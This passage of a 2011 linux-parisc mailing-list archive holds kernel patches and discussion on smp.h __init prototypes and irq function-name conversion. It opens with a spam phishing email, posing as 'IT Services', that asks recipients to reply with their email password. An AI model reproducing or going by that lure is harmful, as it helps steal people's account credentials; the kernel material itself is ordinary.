
If you fail to confirm your continuous usage of our services by confirming your email password now, your account will be disable and you will not be able to access your email.

You should immediately reply this email:  upgrading2010@mail.md   and enter your password in the above password column.
Thanks for your understanding.

Regard,
IT Services
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix compile breakage caused by linux/smp.h header
 definition problem
Date: Wed, 23 Mar 2011 10:11:58 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <1300893119.15899.15.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300893132 1553 80.91.229.12 (23 Mar 2011 15:12:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 Mar 2011 15:12:12 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Amerigo Wang <amwang@redhat.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 23 16:12:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q2PjC-0006P9-Q0
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Mar 2011 16:12:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933023Ab1CWPMF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Mar 2011 11:12:05 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:38193 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932997Ab1CWPMF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Mar 2011 11:12:05 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 08DB993EE3;
	Wed, 23 Mar 2011 16:12:03 +0100 (CET)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3518>

The problem is this:

  CC      arch/parisc/kernel/asm-offsets.s
In file included from include/linux/sched.h:71,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/smp.h:117: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'setup_nr_cpu_ids'
include/linux/smp.h:118: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'smp_init'
  HOSTLD  scripts/mod/modpost
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1

It's caused by two __init attributes on function prototypes, which
shouldn't be there (__init should only mark functions not prototypes).
This was introduced by

commit 34db18a054c600b6f81787165669dc572fe4de25
Author: Amerigo Wang <amwang@redhat.com>
Date:   Tue Mar 22 16:34:06 2011 -0700

    smp: move smp setup functions to kernel/smp.c

Removing the spurious __init attributes fixes this

Signed-off-by: James Bottomley <James.Bottomley@suse.de>

---

We didn't pick this up in our -next compiles, presumably because the
patch moved rather fast from -next to mainline?

diff --git a/include/linux/smp.h b/include/linux/smp.h
index 48159dd..04d6e0d 100644
--- a/include/linux/smp.h
+++ b/include/linux/smp.h
@@ -114,8 +114,8 @@ int on_each_cpu(smp_call_func_t func, void *info, int wait);
 void smp_prepare_boot_cpu(void);
 
 extern unsigned int setup_max_cpus;
-extern void __init setup_nr_cpu_ids(void);
-extern void __init smp_init(void);
+extern void setup_nr_cpu_ids(void);
+extern void smp_init(void);
 
 #else /* !SMP */
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix compile breakage caused by linux/smp.h header
 definition problem
Date: Wed, 23 Mar 2011 10:50:31 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20110323105031.8967ff2f.akpm@linux-foundation.org>
References: <1300893119.15899.15.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300902898 1713 80.91.229.12 (23 Mar 2011 17:54:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 Mar 2011 17:54:58 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Amerigo Wang <amwang@redhat.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 23 18:54:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q2SGi-00068j-Qu
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Mar 2011 18:54:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932326Ab1CWRyt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Mar 2011 13:54:49 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:52586 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932316Ab1CWRyt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Mar 2011 13:54:49 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p2NHs9Y4028272
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 23 Mar 2011 10:54:09 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id p2NHs7md020603;
	Wed, 23 Mar 2011 10:54:08 -0700
In-Reply-To: <1300893119.15899.15.camel@mulgrave.site>
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.9; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-104.984 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3519
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3519>

On Wed, 23 Mar 2011 10:11:58 -0500 James Bottomley <James.Bottomley@suse.de> wrote:

> The problem is this:
> 
>   CC      arch/parisc/kernel/asm-offsets.s
> In file included from include/linux/sched.h:71,
>                  from arch/parisc/kernel/asm-offsets.c:31:
> include/linux/smp.h:117: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'setup_nr_cpu_ids'
> include/linux/smp.h:118: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'smp_init'
>   HOSTLD  scripts/mod/modpost
> make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
> 
> It's caused by two __init attributes on function prototypes,

Heiko sent a patch for this which adds the #include.

> which
> shouldn't be there (__init should only mark functions not prototypes).

Nope.  We've had build failures in the past (on arm) where the
assembler generated a short-addressed branch to a function in the
"same" section but the linker discovered that it was too far away,
because the target landed in a different section.

By correctly marking the target as __init, the compiler says "ah,
that's far away" and generates the long-form branch addressing.

I think it only happened once, and it's obviously hard to hit, because
many such prototypes of __init functions are missing the __init tag.

And as the sections are laid out contiguously (true?), that kernel must
have been real close to having the same linkage error for branches
_within_ the main .text segment.

So it's all a bit fishy and marginal, but adding the __init increases
the chances of keeping Russell happy.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix compile breakage caused by linux/smp.h header
 definition problem
Date: Wed, 23 Mar 2011 13:59:42 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <AANLkTikw3VheuSuY5epDOa6TZViKw8Ev8whqahU6MECx@mail.gmail.com>
References: <1300893119.15899.15.camel@mulgrave.site> <20110323105031.8967ff2f.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1300903222 3612 80.91.229.12 (23 Mar 2011 18:00:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 Mar 2011 18:00:22 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Amerigo Wang <amwang@redhat.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 23 19:00:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q2SLv-0000YU-Rm
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Mar 2011 19:00:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754434Ab1CWSAP convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Mar 2011 14:00:15 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:55637 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753983Ab1CWSAO convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Mar 2011 14:00:14 -0400
Original-Received: by fxm17 with SMTP id 17so7576473fxm.19
        for <linux-parisc@vger.kernel.org>; Wed, 23 Mar 2011 11:00:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:from
         :date:x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=mAsLACd2Zx5kua/f3DbqUgVk3DwgYb33TFLjoh4Gq28=;
        b=BI+eyChs72xVfZHHLxgsPB1cRWJ4TqRokGVFLAJk0q408fUkJIJc8zBb/mrIqj3DYR
         kcIjBTsOu4t/aAqHE8JZ5ZEc5Q4mJhdHiCshbyIY2WyWx2QAl8MK8rG1AaJQ8xMETY8a
         y3hY7BpnUi5IiqldS9a9HVg9X2lcoovEhCVwo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=dToSWOLH0JeTGoWTCzIwr6qe07jQWHYtt49rMxIWmS7JMy4yhKlxdYvPs5r1uvWE47
         Hsi8QtDRC7aD3HjSIReKqwQvW4teyrBrh2oIlVLClCdqmIYppul7GjALA/PCJa4zYVOf
         nSZKXribICDgR8Hk+Uq3R1hzU5L6RVIEHoDAE=
Original-Received: by 10.223.78.138 with SMTP id l10mr5466144fak.106.1300903211133;
 Wed, 23 Mar 2011 11:00:11 -0700 (PDT)
Original-Received: by 10.223.5.15 with HTTP; Wed, 23 Mar 2011 10:59:42 -0700 (PDT)
In-Reply-To: <20110323105031.8967ff2f.akpm@linux-foundation.org>
X-Google-Sender-Auth: zqmxyi9cAzqkUqFeul7Aq3Hxom4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3520>

On Wed, Mar 23, 2011 at 1:50 PM, Andrew Morton wrote:
> On Wed, 23 Mar 2011 10:11:58 -0500 James Bottomley wrote:
>> The problem is this:
>>
>> =A0 CC =A0 =A0 =A0arch/parisc/kernel/asm-offsets.s
>> In file included from include/linux/sched.h:71,
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0from arch/parisc/kernel/asm-offse=
ts.c:31:
>> include/linux/smp.h:117: error: expected '=3D', ',', ';', 'asm' or '=
__attribute__' before 'setup_nr_cpu_ids'
>> include/linux/smp.h:118: error: expected '=3D', ',', ';', 'asm' or '=
__attribute__' before 'smp_init'
>> =A0 HOSTLD =A0scripts/mod/modpost
>> make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
>>
>> It's caused by two __init attributes on function prototypes,
>
> Heiko sent a patch for this which adds the #include.

thanks, this broke Blackfin SMP too

>> which
>> shouldn't be there (__init should only mark functions not prototypes=
).
>
> Nope. =A0We've had build failures in the past (on arm) where the
> assembler generated a short-addressed branch to a function in the
> "same" section but the linker discovered that it was too far away,
> because the target landed in a different section.

another advantage is that for funcs which are defined in arch code,
putting the attributes on the prototype allow all the arches to get
the right markings without worrying about someone copying & pasting
wrongly.
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/2] parisc: Convert the final irq bits
Date: Fri, 25 Mar 2011 13:40:15 -0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20110325133952.877111800@linutronix.de>
References: <20110325133845.830304772@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1301060443 23613 80.91.229.12 (25 Mar 2011 13:40:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 Mar 2011 13:40:43 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 25 14:40:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q37Fj-0002jy-C8
	for glpp-linux-parisc@lo.gmane.org; Fri, 25 Mar 2011 14:40:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753238Ab1CYNkU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Mar 2011 09:40:20 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:38507 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752673Ab1CYNkT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Mar 2011 09:40:19 -0400
Original-Received: from localhost ([127.0.0.1] helo=localhost6.localdomain6)
	by Galois.linutronix.de with esmtp (Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1Q37FP-0004FO-NP; Fri, 25 Mar 2011 14:40:16 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-cleanup.patch
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3521>

1) As promised in the comment, the core does not copy cpumask anymore
   when the arch code returns -EINVAL

2) Get the per cpu information from irq_data

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/irq.c |    9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

Index: linux-2.6-tip/arch/parisc/kernel/irq.c
===================================================================
--- linux-2.6-tip.orig/arch/parisc/kernel/irq.c
+++ linux-2.6-tip/arch/parisc/kernel/irq.c
@@ -113,13 +113,8 @@ int cpu_check_affinity(struct irq_data *
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
-	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {
-		/* Bad linux design decision.  The mask has already
-		 * been set; we must reset it. Will fix - tglx
-		 */
-		cpumask_setall(d->affinity);
+	if (irqd_is_per_cpu(d))
 		return -EINVAL;
-	}
 
 	/* whatever mask they set, we just allow one CPU */
 	cpu_dest = first_cpu(*dest);
@@ -357,7 +352,7 @@ void do_cpu_irq_mask(struct pt_regs *reg
 #ifdef CONFIG_SMP
 	desc = irq_to_desc(irq);
 	cpumask_copy(&dest, desc->irq_data.affinity);
-	if (CHECK_IRQ_PER_CPU(desc->status) &&
+	if (irqd_is_per_cpu(&desc->irq_data) &&
 	    !cpu_isset(smp_processor_id(), dest)) {
 		int cpu = first_cpu(dest);
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 2/2] parisc: Convert irq namespace
Date: Fri, 25 Mar 2011 13:40:16 -0000
Lines: 100
Approved: news@gmane.org
Message-ID: <20110325133952.979442989@linutronix.de>
References: <20110325133845.830304772@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1301060444 23630 80.91.229.12 (25 Mar 2011 13:40:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 Mar 2011 13:40:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 25 14:40:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q37Fk-0002jy-0D
	for glpp-linux-parisc@lo.gmane.org; Fri, 25 Mar 2011 14:40:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752673Ab1CYNkV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Mar 2011 09:40:21 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:38508 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753136Ab1CYNkT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Mar 2011 09:40:19 -0400
Original-Received: from localhost ([127.0.0.1] helo=localhost6.localdomain6)
	by Galois.linutronix.de with esmtp (Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1Q37FQ-0004FU-Kw; Fri, 25 Mar 2011 14:40:17 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-namespace.patch
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3522
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3522>

Convert to the new function names. Scripted with coccinelle.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/irq.c |   12 ++++++------
 drivers/parisc/eisa.c    |    2 +-
 drivers/parisc/gsc.c     |    4 ++--
 drivers/parisc/superio.c |    3 ++-
 4 files changed, 11 insertions(+), 10 deletions(-)

Index: linux-2.6-tip/arch/parisc/kernel/irq.c
===================================================================
--- linux-2.6-tip.orig/arch/parisc/kernel/irq.c
+++ linux-2.6-tip/arch/parisc/kernel/irq.c
@@ -235,13 +235,13 @@ int cpu_claim_irq(unsigned int irq, stru
 {
 	if (irq_desc[irq].action)
 		return -EBUSY;
-	if (get_irq_chip(irq) != &cpu_interrupt_type)
+	if (irq_get_chip(irq) != &cpu_interrupt_type)
 		return -EBUSY;
 
 	/* for iosapic interrupts */
 	if (type) {
-		set_irq_chip_and_handler(irq, type, handle_percpu_irq);
-		set_irq_chip_data(irq, data);
+		irq_set_chip_and_handler(irq, type, handle_percpu_irq);
+		irq_set_chip_data(irq, data);
 		__cpu_unmask_irq(irq);
 	}
 	return 0;
@@ -393,14 +393,14 @@ static void claim_cpu_irqs(void)
 {
 	int i;
 	for (i = CPU_IRQ_BASE; i <= CPU_IRQ_MAX; i++) {
-		set_irq_chip_and_handler(i, &cpu_interrupt_type,
+		irq_set_chip_and_handler(i, &cpu_interrupt_type,
 					 handle_percpu_irq);
 	}
 
-	set_irq_handler(TIMER_IRQ, handle_percpu_irq);
+	irq_set_handler(TIMER_IRQ, handle_percpu_irq);
 	setup_irq(TIMER_IRQ, &timer_action);
 #ifdef CONFIG_SMP
-	set_irq_handler(IPI_IRQ, handle_percpu_irq);
+	irq_set_handler(IPI_IRQ, handle_percpu_irq);
 	setup_irq(IPI_IRQ, &ipi_action);
 #endif
 }
Index: linux-2.6-tip/drivers/parisc/eisa.c
===================================================================
--- linux-2.6-tip.orig/drivers/parisc/eisa.c
+++ linux-2.6-tip/drivers/parisc/eisa.c
@@ -340,7 +340,7 @@ static int __init eisa_probe(struct pari
 	/* Reserve IRQ2 */
 	setup_irq(2, &irq2_action);
 	for (i = 0; i < 16; i++) {
-		set_irq_chip_and_handler(i, &eisa_interrupt_type,
+		irq_set_chip_and_handler(i, &eisa_interrupt_type,
 					 handle_simple_irq);
 	}
 	
Index: linux-2.6-tip/drivers/parisc/gsc.c
===================================================================
--- linux-2.6-tip.orig/drivers/parisc/gsc.c
+++ linux-2.6-tip/drivers/parisc/gsc.c
@@ -152,8 +152,8 @@ int gsc_assign_irq(struct irq_chip *type
 	if (irq > GSC_IRQ_MAX)
 		return NO_IRQ;
 
-	set_irq_chip_and_handler(irq, type, handle_simple_irq);
-	set_irq_chip_data(irq, data);
+	irq_set_chip_and_handler(irq, type, handle_simple_irq);
+	irq_set_chip_data(irq, data);
 
 	return irq++;
 }
Index: linux-2.6-tip/drivers/parisc/superio.c
===================================================================
--- linux-2.6-tip.orig/drivers/parisc/superio.c
+++ linux-2.6-tip/drivers/parisc/superio.c
@@ -355,7 +355,8 @@ int superio_fixup_irq(struct pci_dev *pc
 #endif
 
 	for (i = 0; i < 16; i++) {
-		set_irq_chip_and_handler(i, &superio_interrupt_type, handle_simple_irq);
+		irq_set_chip_and_handler(i, &superio_interrupt_type,
+					 handle_simple_irq);
 	}
 
 	/*


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 0/2] parisc: Final irq bits
Date: Fri, 25 Mar 2011 13:40:14 -0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20110325133845.830304772@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1301060447 23651 80.91.229.12 (25 Mar 2011 13:40:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 Mar 2011 13:40:47 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 25 14:40:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q37Fk-0002jy-JM
	for glpp-linux-parisc@lo.gmane.org; Fri, 25 Mar 2011 14:40:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753136Ab1CYNkZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Mar 2011 09:40:25 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:38509 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752670Ab1CYNkU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Mar 2011 09:40:20 -0400
Original-Received: from localhost ([127.0.0.1] helo=localhost6.localdomain6)
	by Galois.linutronix.de with esmtp (Exim 4.72)
	(envelope-from <tglx@linutronix.de>)
	id 1Q37FP-0004FL-0N; Fri, 25 Mar 2011 14:40:15 +0100
User-Agent: quilt/0.48-1
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3523>

James,

the following two patches cleanup the remaining oddbits and convert
parisc to the new irq function names.

Thanks,

	tglx

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: only make executable areas executable
Date: Thu, 14 Apr 2011 15:53:18 -0500
Lines: 435
Approved: news@gmane.org
Message-ID: <1302814399.9800.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
